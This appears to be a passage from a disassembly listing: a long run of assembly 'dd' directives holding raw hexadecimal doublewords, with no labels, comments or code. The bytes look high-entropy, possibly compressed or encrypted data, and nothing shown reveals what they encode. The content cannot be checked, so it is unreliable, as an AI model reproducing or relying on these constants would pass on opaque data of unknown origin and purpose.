dd 3A60E36Dh, 3C4898E2h, 0B33A60E3h, 9EF2CFDAh, 0EF3A9370h
dd 362A6ED2h, 0CF49582Dh, 0E411C890h, 0BACDD541h, 217DAB8Fh
dd 921AC05Bh, 446B9DB7h, 63C1D7B8h, 7D512514h, 7D51B519h
dd 469D61Ah, 3D64B0F1h, 6E996D9Bh, 400ECD1Dh, 0B135273Ch
dd 91A7B1D0h, 4B91655Dh, 0B721F514h, 1761CD85h, 922AC438h
dd 43EB710Ah, 9BB2490Eh, 44B1BB9Fh, 29D40633h, 0A344E2D1h
dd 0CB043142h, 6035BD88h, 321CF357h, 7500001Ah, 0DCC92A21h
dd 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h, 19247C9Fh
dd 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h, 0C59A49DEh
dd 0DE7AE251h, 0E072F8D5h, 941D384Ch, 457881C3h, 0D8229DF1h
dd 0BAC2DA2Eh, 61D5E034h, 0AF7E0DF6h, 311584F6h, 0E6E70FDDh
dd 67BD9FB0h, 33BFC013h, 22C85329h, 6AA0BF8Ah, 0EC53DD44h
dd 4C9E502Eh, 3F4B9BBCh, 0B0307E71h, 780CA04Ah, 0CF307E71h
dd 5FFE5D8Bh, 7A53F479h, 0AA8DE182h, 0D63A7E5Ch, 152E4EDBh
dd 0D3DEAFC7h, 9DC2EADEh, 0CB268E76h, 1FFC2A74h, 4557573Bh
dd 3DA22C3Eh, 60984144h, 0ED79978Ah, 0ECA9F490h, 0BDCF1D65h
dd 0DE084150h, 342F1A6Fh, 7F28CEDBh, 9789459Eh, 0AFF1DD0Bh
dd 0E4D8BCA9h, 33164780h, 4DC5352Ch, 19548Ah, 74435700h
dd 0DAF73EEFh, 0AC9DEC19h, 714056B7h, 0C0FF05E2h, 5EBDA413h
dd 0FF87B5Ah, 0FF28CBF6h, 0A8459EA9h, 8F1625Fh, 48384CE0h
dd 0C08FC59Ah, 0F8D5DE58h, 74A0CD72h, 1EFFE714h, 7C0018F0h
dd 20F175E7h, 8DBD9F52h, 0F322AEB5h, 0E327ABA6h, 104C5045h
dd 0B865F78Ch, 1C76896Fh, 6E221F5Eh, 9A12DC0Ah, 446A0DAFh
dd 65905AA0h, 940B2510h, 3F681852h, 8B90EC35h, 0FBCCD61h
dd 0B15C4B38h, 0ACE0546Bh, 0C9BD8582h, 0AAB0CBD1h, 0AC9BED18h
dd 1D1A393h, 0AD5B7644h, 3A5A4D9h, 1BC1394Dh, 0EA3999EAh
dd 0CB2F63D7h, 9FAAFF28h, 0C66B2F50h, 8B4CC695h, 189Dh
dd 0A6BD949Eh, 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch
dd 93E9046Bh, 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh
dd 9A4B4105h, 8177C6C5h, 14F8D5DEh, 69F38814h, 0EAE72EDFh
dd 435B2266h, 0CF02D27Ch, 40BD9F27h, 0FD94F97Ah, 0BAA0BBC1h
dd 6BED1732h, 38221844h, 618FBACDh, 0F85DEC7Ah, 0F6DC2B5h
dd 0C9001382h, 0B4D54D39h, 84F8C2A3h, 0ECAFDE56h, 0DA20DDBFh
dd 0DD663676h, 0FB73FD0Fh, 9981A08Fh, 780C3A00h, 0E78AAB05h
dd 4BBAA09Ah, 0B78E963Eh, 91F579C3h, 16979E99h, 0FD4C82Ch
dd 0AFB8959Eh, 2C4D611Ah, 0EE66D929h, 31000017h, 9875EEE5h
dd 46A7BC8Dh, 30DD063Bh, 9F08EBEAh, 1AB9BA85h, 0DDE038D3h
dd 0AD90E906h, 704F59B6h, 0C4F102E3h, 0F67EF21Fh, 0C59A4B92h
dd 0DE3EA615h, 1414F8D5h, 0C569F388h, 0BD99E0D1h, 0FFE6C56h
dd 0F6D14FAh, 0D979AA4Fh, 0A62A2770h, 41D50E62h, 3A65EF95h
dd 964DD6A5h, 7C842C79h, 93A2F841h, 6CF7EB2Fh, 42E235E0h
dd 9271B32h, 0BCC9E7B5h, 37BFAD81h, 44681203h, 42CC1E64h
dd 0E353B11Dh, 5393974Ch, 3077CC37h, 0F1C0D7B8h, 3BD5C90Dh
dd 953144B1h, 8C574B86h, 51251463h, 3D041A8Bh, 7E93A13h
dd 0A2935E29h, 6AE5D95Dh, 8C74DE51h, 36C5BA88h, 79000017h
dd 20CD162Dh, 8E7FE4D5h, 78954E83h, 27C01322h, 0C271E2DDh
dd 538409Bh, 0D5E831DEh, 0B897E10Eh, 0C394ABBh, 0AEC62AD7h
dd 0C59A4ADAh, 6F66DEADh, 40E4760Dh, 0BD99E054h, 8875E7DBh
dd 0C591427Fh, 37BFADB6h, 3A65AC47h, 0C66ED228h, 3A65AD87h
dd 4D474652h, 2C31BC9Ch, 51B5h, 0C6F5300h, 1D196D81h, 94EEC394h
dd 12E6DD25h, 9C10DA3Eh, 0C3941DE4h, 0B3B3077Bh, 0C3941DD3h
dd 0F9139206h, 32400D50h, 2579h, 26A78700h, 18C3941Dh
dd 806DFF84h, 4E3AB275h, 0C1C3941Dh, 0E33485F9h, 2E62D6h
dd 0FCBBC66Eh, 360CBD9Eh, 0D6FD72Dh, 0D2A699E3h, 0DC509AFEh
dd 0BD9F04C1h, 92582C16h, 0C898EC00h, 2B6F3A60h, 3C0710FDh
dd 60C8DCA8h, 9E6F533Ah, 0F2D6BA97h, 5FA8459Eh, 0D52F9E62h
dd 0F42E66EAh, 0CA0710F9h, 3934BB20h, 591C8360h, 7D47965Dh
dd 8EB89CBAh, 47EF38D5h, 5FD70534h, 3A60B62Bh, 9E6246BCh
dd 0F765FE9Eh, 5362B865h, 0E97DABEFh, 446BAEB8h, 0F916CD35h
dd 52D91ACh, 0B84BF926h, 1DE1DC29h, 9B6F56ACh, 3F535286h
dd 48D0DDD7h, 0D5734E5Dh, 0C1122F78h, 12E6D324h, 986C53ABh
dd 41A6277Dh, 2DDA1934h, 119EDD8h, 0E87AE07Bh, 0C4B2D65Eh
dd 0CD35B826h, 0B418297Ch, 1B2EB650h, 1C62DF2h, 9BB58094h
dd 709D46BCh, 0F7A62A27h, 7E2F93AEh, 89B61A37h, 0CC505F7h
dd 9CE26BB6h, 1268D1A5h, 0DEEFC123h, 5F6E44ACh, 0BDC56DB6h
dd 0FADE3286h, 4E7B8C79h, 708570FAh, 4F9DF145h, 336EA327h
dd 30DE24B6h, 0E10B106Ch, 386ADC4Dh, 0CA2911C8h, 1C68C8DDh
dd 5795D21h, 70D1B1B1h, 0BCE4DC08h, 9519AB31h, 9C0870F1h
dd 6BE20C76h, 0D730231Eh, 5B02F6C1h, 238A7E41h, 0AA13E7DAh
dd 77139B54h, 0F89C0870h, 3FDAAE82h, 0A8166865h, 6DDA39A6h
dd 0B1012AC2h, 6B901D97h, 0D431221Dh, 391460C0h, 73887155h
dd 37E66A4Eh, 246CD0EFh, 0E16FF0Eh, 3BA02C37h, 1FF9AEEBh
dd 55B856D5h, 68807443h, 7EDD0F14h, 0B04E3C56h, 256EDF76h
dd 0C660A428h, 0D2AD8024h, 0AEA2E203h, 5B64206h, 5426C59Ah
dd 5DDF782Bh, 72C63A1Eh, 0DBC0CDC7h, 0DE68F2CDh, 5FA3256h
dd 0A34DB59Ah, 0E7D227C0h, 6C59AA13h, 0CAF50FFEh, 3F45341Ch
dd 6AEBC00h, 9A05FA42h, 0F80CFDC5h, 0C4DC79CDh, 0C9CBB5C9h
dd 0F7C2D73Ch, 5E63B865h, 0FF7896EAh, 6B21CE6Dh, 750D0E93h
dd 15C861DBh, 25E18BD2h, 0F000000h, 6DFFD6DEh, 0F4587180h
dd 9A927690h, 7BF37902h, 0BD9F065Eh, 0DBB1302Fh, 0C519AE0Bh
dd 308372E1h, 2D000000h, 0E509D6DEh, 0C3941DE1h, 32381C66h
dd 1D780CA0h, 50CFC394h, 8398E81Ch, 709EF2C6h, 67FC8098h
dd 0B1DC71F5h, 0D13CBD9Fh, 0FC5BF5C8h, 46A75D86h, 0FB00ED2Bh
dd 0F01E72C6h, 0A14BD0ACh, 9F05380Dh, 0D2350DBDh, 0DC8BD10Eh
dd 8BF60129h, 1F38FFD1h, 0CF7995EAh, 0D35F4307h, 4332A929h
dd 8CC86185h, 0FB4F768Ah, 3985A387h, 9A12D863h, 0B8DEBCEBh
dd 72AA1E64h, 0A3CB112Ah, 42A99B2Eh, 0E4DB23D2h, 67F5CD4Ah
dd 83506DB6h, 2B241162h, 872C90BAh, 0D676C939h, 0D9000013h
dd 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h, 2291427Dh
dd 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh, 0CE668A77h
dd 0C59A46BAh, 0A7C6BE0Dh, 0C3941E23h, 0FECBDCC9h, 8024360Ah
dd 3C6BE2C4h, 0C5D9774Bh, 36BEACB7h, 4260DACBh, 699446BCh
dd 6B05231Eh, 0BFC66ABAh, 0E6DA3E82h, 642EA74h, 893A60E8h
dd 50DC97B1h, 5430B4C6h, 0DB3A60E8h, 0E81B6FE7h, 96EC3A60h
dd 0E8A42044h, 0D72B3A60h, 0F5C0D439h, 844F5801h, 60E86460h
dd 0B397EB3Ah, 62F033B4h, 7F84A86h, 1339h, 0C211287Ah
dd 7CE7D225h, 0AA498093h, 0C51E257Dh, 76EDD028h, 3F4598CFh
dd 0ED32D300h, 92E203D0h, 3A4FB8BBh, 0C527D40Fh, 9A4625A1h
dd 65DBAAC5h, 0E4760D6Fh, 9F259D40h, 68BD12BDh, 0B195E95Dh
dd 1E2B7AABh, 0ECDD28C5h, 0B264B118h, 0B63C8380h, 6352A83Fh
dd 6347BB9Fh, 0A726629Fh, 0D91A377Eh, 5F3A32B4h, 0F16E7D8h
dd 0E7E64E32h, 0D53A6038h, 8A9D0283h, 7DDE5F64h, 9DF1CD7Ah
dd 9101104Fh, 0AED4FEBBh, 7E5CBC68h, 7791F5C2h, 7F8570FCh
dd 6E98FC40h, 0B3B9889Fh, 0EA043142h, 0ED760666h, 4A878E7Fh
dd 8A6482C6h, 48778D78h, 9E6680C4h, 446D47AEh, 629359A1h
dd 0CE3F2411h, 0E3071DC5h, 6D1ADCBAh, 0C448AC3Dh, 0D0EF3980h
dd 8C1008FCh, 92C165F7h, 764E7F2Ch, 600440E4h, 0B78B2E4Ch
dd 9A40BA99h, 30231E6Bh, 3F7C2D7h, 8DB8CC39h, 3A415B63h
dd 9014A630h, 2E4C60F4h, 60EA9E16h, 57D2E4Ch, 9CB740BAh
dd 9CDB009Dh, 7568FC2Ah, 0CA5047CAh, 1A5A77F0h, 0A999988Ah
dd 1218D6h, 300F1B00h, 86B3C223h, 6861B05Dh, 3D041A8Bh
dd 8CB3C926h, 62F9E057h, 0D33C271Eh, 836CF7CAh, 6C995A75h
dd 0C4352E1Bh, 41C48024h, 0FC4BC59Ah, 1D2AA704h, 63B5C394h
dd 0CDAF8F54h, 5B00A4B6h, 0D4BD99E0h, 3F132E7Bh, 98B1C02Dh
dd 1CCDBD5Bh, 3531C005h, 171h, 700F6FD3h, 0A71EBD9Eh, 0C3173D0Ch
dd 22B8928Dh, 84F8F569h, 6DAADE56h, 0C53DC394h, 5C2D412Bh
dd 7DC3946Dh, 47BDA305h, 6F827A75h, 0A49F710Eh, 750A6FBCh
dd 0DCE136E7h, 0D048CC32h, 40050CCDh, 422537h, 8B70000h
dd 5D76E94Eh, 0F46A849Fh, 764B50BDh, 0FF437E87h, 4C516D9Bh
dd 0F0DBC4E8h, 1C70EC11h, 5829BDBAh, 0D5C3941Dh, 47BD0BEDh
dd 9025D3DEh, 1980344Dh, 0BD259BFFh, 0DA744550h, 48C830D6h
dd 50000000h, 91E40E6Fh, 84F8DCA0h, 0C233BD22h, 384C84B1h
dd 8FC3941Dh, 84F8D5DEh, 0C976806Ah, 48700044h, 0C591BF02h
dd 0C3943A84h, 536EB964h, 0DC22ABEFh, 22604BE5h, 0BD47BD4Ch
dd 81084150h, 93F75B76h, 0B0899875h, 0CD857BDEh, 3740050Ch
dd 5125h, 0B08B700h, 0F6EFB192h, 6752A716h, 0AB91BF93h
dd 84150BDh, 1D3E4AE2h, 49B1C394h, 0E57A1F9Fh, 0DDC877h
dd 5A643BE7h, 29BDB6ACh, 0C3941D58h, 0F5F003B8h, 5F9630ACh
dd 666D198Dh, 98E2C394h, 37A9916Eh, 0D7DE47BDh, 857B04FAh
dd 38C8h, 0A6F5000h, 29BD9375h, 0C3941D58h, 0C2862EB8h
dd 45C3941Dh, 4CD8D37Dh, 941DACD8h, 0FBDF23C3h, 9C93CA71h
dd 0A1A32321h, 2FE8DF99h, 193754D8h, 0DE47BD23h, 7B04FAD7h
dd 4850BD85h, 0CCD88175h, 8C739DF1h, 0FFFFFE86h, 4450BD14h
dd 0BDDFDF09h, 63D7EA33h, 8D21CB2Fh, 0BD99E0A9h, 47B6A49Eh
dd 0A28EDA30h, 8801811Eh, 0E4D32594h, 0E716A04Ah, 0F8DCA09Fh
dd 9FAAFF4Eh, 5D7CEE4Dh, 637EFC30h, 277422C5h, 0CCDFCE1Ch
dd 273509FDh, 65EFFB8Fh, 0D8764C3Ah, 0EFEA9E16h, 57D3A65h
dd 0EFD7B1B1h, 4E563A65h, 0C6DA8377h, 5DA20BFFh, 9D280260h
dd 719C4CE1h, 62A62A29h, 29E3E2C4h, 2C31FF00h, 6738813Eh
dd 0EF970394h, 9C4AAE99h, 4EC5h, 27A72300h, 0C5C3941Dh
dd 1D5733BBh, 0E2D8C394h, 81BCC944h, 1DBDCC52h, 0E05FC394h
dd 4BD1A1FBh, 894B2EAh, 0E97DEF74h, 0BD9F6960h, 0E577E5DDh
dd 3AB7D35Bh, 0C2383A61h, 613A4602h, 4400A43Ah, 0CB3A613Ah
dd 143208F7h, 0C6A453h, 6FCC0000h, 186C800Dh, 0EFC3941Dh
dd 1A5B7ABh, 0BD9F2C14h, 407F8974h, 8B51A9A6h, 0F53EEF79h
dd 0D01074D8h, 3A60F1B4h, 2429C73Bh, 917EE5D0h, 76C44887h
dd 0C356FFC9h, 0A17B84BBh, 7E3EE866h, 4B8A901Eh, 0BDAF83C7h
dd 6D5E1129h, 0C6146E44h, 23149B4h, 0A1AC5ABEh, 60F27857h
dd 7273B8CCh, 21CB0F30h, 7273F98Dh, 0DA744E30h, 0AD98EC19h
dd 0A0BBC1D9h, 0B99A32BAh, 5B954E7Fh, 4C3BB7D3h, 0EEC2382Eh
dd 4984917Ch, 1D287DAAh, 7FBEF1D2h, 75CA3892h, 0EE5h, 7EE5DC26h
dd 0A84B8691h, 0C61D2C7Fh, 71E2D129h, 0A2B18C94h, 0EB31CC13h
dd 999E0FD4h, 464EBFA4h, 0EE3BD40Fh, 71FB00D3h, 9A4289FDh
dd 0C9AF1EC5h, 14F8D5DEh, 916550A5h, 18ECDD28h, 0E15568B1h
dd 2559548Ch, 0C44C595Bh, 1D5632BAh, 0E1D9C394h, 80BDC647h
dd 0C88A153h, 47B63240h, 5BBF033Eh, 90D4ADh, 0BD300000h
dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 0D7B33B45h, 58C3941Dh
dd 0FA1A5B9h, 6B4FD020h, 0CABB33BDh, 2EBD9F1Dh, 5E6866B1h
dd 0BF0E4DFFh, 92F65A65h, 0BE789774h, 5E2DE63Ah, 86BDC5B4h
dd 1A6FDEA2h, 0EF536ABAh, 43E36970h, 0E1C58CBEh, 0C197F37Bh
dd 22183A61h, 0AFF815CEh, 485D4892h, 5BD679A6h, 197DB6F6h
dd 6AD11BEFh, 5B6B2921h, 0A420446Fh, 2B3A61A7h, 4955F3D7h
dd 0B0C22833h, 0ED1B3645h, 6A963C19h, 23C93144h, 7CAAA7F2h
dd 0D7DE1DFBh, 798C79FAh, 176CC448h, 0E6C3941Dh, 0D6E3329Eh
dd 673561F2h, 889F0EDCh, 49DD8FB9h, 0BD99E051h, 344694EEh
dd 738CB3C9h, 0D3A5F907h, 9042259h, 0E41CC7FAh, 0C0051CCDh
dd 1593531h, 6FD30000h, 0BD9E700Fh, 941D5829h, 0A71979C3h
dd 764B50BDh, 5034B882h, 0D7C3941Dh, 8F618FE3h, 0BB33BD09h
dd 0C3941DCFh, 0EACC7A40h, 0E6F23D9h, 0C8A49F71h, 0E394FBEh
dd 941D82C6h, 133D05C3h, 0AE0A6F2Dh, 0B3818C2Bh, 4D6CA86h
dd 483464D7h, 5C8A7F6Bh, 37A448E6h, 0E1FF6FB5h, 100620B8h
dd 754850BDh, 4B861DBh, 29F13740h, 1F000000h, 0EB710E6Fh
dd 1DB1D559h, 0CC36C394h, 29BD3C22h, 0C3941D58h, 102978D5h
dd 47BD5A3Ch, 18FED3DEh, 33C8857Bh, 50000000h, 9CE40E6Fh
dd 0D9F4DA1h, 941DED99h, 0E3E70FC3h, 64C3941Dh, 9359A11Eh
dd 941D6F1Bh, 6C9AE0C3h, 5829BDF6h, 79C3941Dh, 47BDA719h
dd 18FED3DEh, 0CCD857Bh, 25374005h, 4Fh, 750A6FC3h, 5829BD93h
dd 0B8C3941Dh, 0FABBDA03h, 0FE2850E9h, 0BD473901h, 80BDC233h
dd 0C82ED83Ch, 0E821D7DEh, 0CF58A4A4h, 5531B5A7h, 0DAC39480h
dd 7B2A8CE0h, 0BBCF67F1h, 0CC3941Dh, 0C8221836h, 3Dh, 76129A24h
dd 0F9C3941Dh, 6FF16781h, 0BD93750Ah, 941D5829h, 0A71979C3h
dd 0BDC233BDh, 0BDF06680h, 860A4750h, 5EA9A442h, 7042F963h
dd 0C1DE2CA2h, 3B4FE775h, 8CC394B6h, 7BA298B6h, 0FE9EC885h
dd 6F50FFFFh, 40E4760Dh, 0BD99E054h, 86A709B6h, 0FDD68615h
dd 5C8EF453h, 1E29C6FFh, 7FA9C35Ah, 0DAF700EDh, 253E5D19h
dd 97CBBF37h, 665C3A65h, 97345292h, 0B7ED3A65h, 972BC236h
dd 17062C31h, 9A000000h, 582C136Bh, 0A754CA64h, 0C3941D27h
dd 0F3605DA6h, 0C204h, 0D6FAC00h, 2FD6B2ADh, 944EC387h
dd 0C17E44C3h, 0D4C8C4B9h, 9EABEE06h, 261CBD9Eh, 5BBFC934h
dd 1488361Ch, 0DC077B8Bh, 66EAE533h, 7FED7606h, 0C0B4898Eh
dd 0D8E73D8Ch, 1428BC2Eh, 6B446C9Fh, 0CCD8C517h, 738562F1h
dd 0F56AF044h, 9D764336h, 9445105h, 0C36D4185h, 509AA1FBh
dd 7EBC64DCh, 5587FB4Eh, 1B64DE6h, 1175D9F4h, 0F12962E6h
dd 1F689557h, 8B73122h, 0EBCA00C2h, 68BB02F6h, 7FA9ED51h
dd 0BF48858Eh, 927ED24Eh, 6E32957Dh, 0B100000Bh, 18F56E65h
dd 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h
dd 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh, 0C59A7E12h
dd 0BDBE2695h, 1DCFBB33h, 434EC394h, 8E49B10Eh, 0CFA17D0Bh
dd 15F81646h, 95273500h, 94FA7511h, 6680FAC3h, 0D3EE3BE2h
dd 1377FF09h, 94C394FAh, 2E8880AEh, 0E730D9D4h, 8BDB00EAh
dd 0CF1D59EAh, 0C731B25Ch, 32406426h, 6003h, 50BDED00h
dd 41850944h, 0FE8517A7h, 1C9DF86Ch, 2812BD9Fh, 116796A4h
dd 776B66B3h, 0ACA14F83h, 5FFC6E5Bh, 305ED486h, 0D691BF2Dh
dd 6DD1EC39h, 6D46F0Dh, 0C11470F4h, 83953A60h, 0ED01CBB4h
dd 3A60C199h, 1630146Eh, 34B8CA54h, 3A60C150h, 9FDC0D9h
dd 0D6704A35h, 6A2B4B0Eh, 5D86FC44h, 6FD7DEA7h, 5D60B81Ch
dd 616A9579h, 3C022BAAh, 0CB117569h, 85135B9h, 0ECD6C394h
dd 403DA142h, 0DBC39408h, 3561F2CDh, 0E60EDC67h, 0BD99F595h
dd 6CFE6C56h, 726A3ACFh, 5BF5748Eh, 49AAA7F2h, 51CCD4Bh
dd 213531C0h, 0D3000001h, 9E700F6Fh, 1D5829BDh, 1979C394h
dd 7547BDA7h, 0FD07F67Ah, 0EC1A7EC2h, 710E6F76h, 0D3EA3AEBh
dd 3D49DD6Fh, 0B2C3941Dh, 92E55448h, 51FFD3A7h, 6FBCA4EBh
dd 0A598E00Ah, 2799FDD1h, 0CCDD048h, 25374005h, 29h, 710E6FC3h
dd 5829BD9Fh, 0D5C3941Dh, 47BD0BEDh, 0E408D3DEh, 0C3941DE0h
dd 593F1367h, 50BD857Bh, 64DB7548h, 2Ch, 710E6F8Ch, 142474EBh
dd 50DFB688h, 0FA140841h, 5829BD04h, 79C3941Dh, 47BDA719h
dd 18FED3DEh, 0FE04F17Bh, 1C704D52h, 44BA54A8h, 40050CCDh
dd 3B2537h, 0BDC30000h, 8E9D4150h, 97EB5FB3h, 0C3542579h
dd 5829BD6Dh, 0D5C3941Dh, 47BD0BEDh, 754850BDh, 162372DBh
dd 0C8857BB0h, 43h, 9DBB724h, 0EE6E97C1h, 5DA95F51h, 0CD7BA6ECh
dd 0E00A6F57h, 0F0D4B891h, 495F4E9Ch, 0BD6AD07Eh, 941D5829h
dd 0A71979C3h, 0D7DE47BDh, 0C7CB70FAh, 5F62BB3Dh, 0F06897EBh
dd 73E907A6h, 754850BDh, 0C831D7DBh, 0FFFFFEDDh, 92A1F924h
dd 0C63CEA2Eh, 96E30D6Fh, 9FF3D7BBh, 0CDD2C34Dh, 1EC80CF0h
dd 99E06256h, 2B7DA8BDh, 0BA54A81Ch, 6F7655Dh, 881AC0FDh
dd 65AC6064h, 7593E73Ah, 0D9D7A4F2h, 4F9DF1CCh, 4F3BB33Dh
dd 0C03A65ACh, 0ACEC980Ch, 1F633A65h, 0D790D3Bh, 823A65ACh
dd 9706D4B8h, 0CD99B782h, 3A65ACBBh, 49434256h, 2C31BDA0h
dd 2089h, 50BD5700h, 4D817548h, 1DB3D3A3h, 0E132C394h
dd 2DD906D4h, 0A407B731h, 0F81FD876h, 0D2h, 0EF1EBD00h
dd 520DA56Bh, 9AE2BA54h, 92C95B81h, 90E4640Ah, 42FDD1A5h
dd 0B25C560Dh, 9F00A322h, 4D62CBDh, 0A3B08F99h, 6B1F9721h
dd 0FC3A610Ch, 0B4D05486h, 3B3A610Ch, 0D02429C7h, 831911E5h
dd 54D8156Dh, 3A610C30h, 0FD6F43B7h, 610C1D69h, 0B4A8923Ah
dd 0F12E0EA6h, 3901446Ch, 9BB2C233h, 0B95FA451h, 13357EA7h
dd 0C06E4204h, 87BEC627h, 0A4FC2933h, 4D2F6F99h, 8802436h
dd 74E7FFAh, 18F45E8h, 0CD3ED9F4h, 0B58891C0h, 3EEF7D51h
dd 0EA1BD8F5h, 4CA3AC99h, 8392807Dh, 803C087h, 0F2040000h
dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h
dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h
dd 60C59A7Bh, 0D5DE2B91h, 0A029146Dh, 0B3977B5Ah, 14608D5Fh
dd 50AA5539h, 2C3F7C51h, 5CB452B6h, 3D0C1F8Eh, 72DB7549h
dd 0F6A01421h, 0BFC831BCh, 5AAD5882h, 89A79B6Fh, 64B362EEh
dd 0E338E155h, 32166ADEh, 0D6032A14h, 282E3241h, 36000000h
dd 6C800D6Fh, 0C3941D18h, 0A5B7ABEFh, 9F21B001h, 0F145BDBDh
dd 60EF1171h, 0D1DCC43Ah, 35E3123Bh, 3E3F2Ch, 6FD90000h
dd 40E4760Dh, 0BD9F364Dh, 0A514F8C2h, 0AAA7F050h, 558EE226h
dd 0A46FB8h, 3A60FA44h, 3286BDC5h, 0B01961DEh, 80746861h
dd 0DD0F1468h, 6BFF3849h, 9F4DB544h, 0A529286Eh, 0D42CC761h
dd 0A4750BDh, 0EAD6E9DCh, 63495292h, 7376EC63h, 0D20145E9h
dd 0BC86C394h, 15639258h, 0E66A55AFh, 86FA4EA2h, 5B6E8668h
dd 41BD9FCAh, 80744554h, 86A5A24Ch, 6D6A7222h, 74738C73h
dd 25127036h, 2C3A1D71h, 0FA140BBBh, 8D26933h, 0E0BAE5E4h
dd 0AC106A84h, 6650219Eh, 3147834Ch, 68974770h, 8497D9F3h
dd 0E7B751B5h, 0C85C8E95h, 8EEB62B5h, 0FB2A300Ah, 3F4993AEh
dd 0FD26D3B7h, 0C06E54EEh, 80BDC627h, 0EEAA7247h, 0EEA1A152h
dd 695h, 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h
dd 0D2013C44h, 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh
dd 0A14BB0A3h, 9A75790Dh, 997FCEC5h, 14F8D5DEh, 0F87B56A5h
dd 5877816Ch, 267690F4h, 0EE1FCD56h, 0E024A8A5h, 1000A446h
dd 72BD99E0h, 230D91CDh, 5587F780h, 6567B5D1h, 26C03A3Ah
dd 8B600A29h, 8FC4602Ch, 405441ABh, 8677DB75h, 6289467Bh
dd 99866698h, 617D6A9h
dd 0E180000h, 0B4C32C37h, 62B15E85h, 31BF46Fh, 0B2C6273Ch
dd 0FAE15083h, 3D261963h, 6DF6CBD0h, 9A597480h, 362D186Dh
dd 0FB8F27C5h, 4CC59A75h, 0D6F07FDh, 4C40E476h, 0C3BD99E0h
dd 57A20BFFh, 3428ED7Ah, 5FAB8666h, 5CCF8h, 8CBBCF00h
dd 526FB657h, 24156481h, 89C8CE3Fh, 5867BD6Ah, 0D6353C9Bh
dd 8760F3C2h, 7790437Eh, 20CD1621h, 9079FAD7h, 74B0D458h
dd 4837C59Ah, 0E30D6FD0h, 9B41A594h, 99E03B13h, 7ACE34BDh
dd 0C5F005F0h, 0CD7222Bh, 0AD1E6A82h, 0A9913A65h, 65AD2D59h
dd 0B7CDA23Ah, 0B7B09488h, 86663560h, 66DCB397h, 0A9000005h
dd 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h, 9221320Dh
dd 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh, 7EF67A87h
dd 0C59A740Ah, 0DEB62E9Dh, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
dd 1D95F175h, 201AC394h, 0C7F20706h, 0AE93E815h, 62B88880h
dd 5C69BA63h, 201D6687h, 91F8E5Ch, 0E4764A3Eh, 941D0440h
dd 99B78BC3h, 941DBCCDh, 0DFEA3FC3h, 4471826Bh, 6667BDF0h
dd 0C1CC1614h, 68F2CFD8h, 1D3256DEh, 0D8B5C394h, 0C90DF1CCh
dd 0FEB83BD5h, 4DE1739Eh, 0C3941D39h, 0C8BCB48Eh, 5FC3941Dh
dd 51D5077Bh, 0BD99E071h, 7FF70193h, 3A65AC0Bh, 0DAAEA69Ch
dd 0AD3A65ACh, 0A79EE455h, 0F251FFD3h, 66B36288h, 0A1F886Bh
dd 0BC8E2D3Fh, 132FF084h, 0EF3BAD85h, 210580E6h, 91EB0307h
dd 0AFCC608Ah, 446808h, 0B0C5303Ah, 0F319D5Eh, 574BD11Ch
dd 8295008Ch, 63B499B7h, 0F28AE256h, 84718369h, 0CFD417Ch
dd 2AD5C9F4h, 27C6F3F6h, 0CC98B6EFh, 4E7C47D1h, 2ED31C66h
dd 0C5927F8Ch, 4438A4Dh, 32440000h, 0D82FD81Bh, 8E9D0AE9h
dd 3F47A0B3h, 0EE32D300h, 0AEB50CD7h, 0E90A354Fh, 19DAE73Ch
dd 0B6AD98ECh, 0E2714C59h, 2F5BD319h, 0A0C59A77h, 0D5DE6BD1h
dd 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h, 0ED019359h
dd 3A60E799h, 16FA146Eh, 60E7AEDEh, 0EFDA2F3Ah, 5461B21Bh
dd 0CEDDACE0h, 0EDC70FF3h, 0E18BAEE0h, 36D0E134h, 729B717Ch
dd 5F2C3507h, 39h, 760D6FB9h, 5D140E4h, 0F15EBD9Fh, 782195A8h
dd 6AAE122Fh, 86AE1276h, 3A60CBC6h, 0FC048113h, 40340B11h
dd 0CB1672FAh, 0A1993A60h, 90B9A34Dh, 0B92C35C6h, 113h
dd 23D5DE47h, 0FAE5CEEh, 78EC7E69h, 0C394D80Ch, 0F75BBF83h
dd 0C860B865h, 0D8AC80B9h, 0B9C34AE4h, 3E4B3286h, 0C7B68B96h
dd 0DB3F83BEh, 0DCC913E7h, 0FE4FF9C4h, 0ED5298B5h, 6453E861h
dd 0CA070E4Dh, 2E0246h, 0E238E567h, 0FD2B6FD3h, 94C55A69h
dd 0FDC8DDC3h, 0D47C8966h, 3E42CCEh, 0B08B41D8h, 60F2785Ch
dd 9484B8CCh, 1DCB0FC3h, 9CA7F535h, 0B33F264Eh, 4AB0BD9Fh
dd 0EA9E16A0h, 7D3A619Ah, 2E08EB05h, 8F27354Eh, 446C0C7Eh
dd 0EDE93DA2h, 55F21EFBh, 2A1B6F87h, 96EC3073h, 0B5A79B78h
dd 9EABFA2Bh, 6A1ED62Ah, 0FD30732Ah, 14816B85h, 0CB98C70Ch
dd 506A11D3h, 0C43D4999h, 48B23073h, 1A1E8F54h, 0B072C3Bh
dd 7CD68C70h, 2C49Bh, 84B3C700h, 6A67AE5Fh, 3C0D1C89h
dd 81B0C627h, 506FB552h, 0CE2D3483h, 0BF688BCAh, 6F985B66h
dd 0D8352E19h, 9861F2CFh, 71A8DC50h, 503FC59Ah, 0FBDADEE8h
dd 6E4FEC78h, 4C2A460Dh, 65AE9F49h, 6F0D8B68h, 40E4760Dh
dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h, 63D7E235h
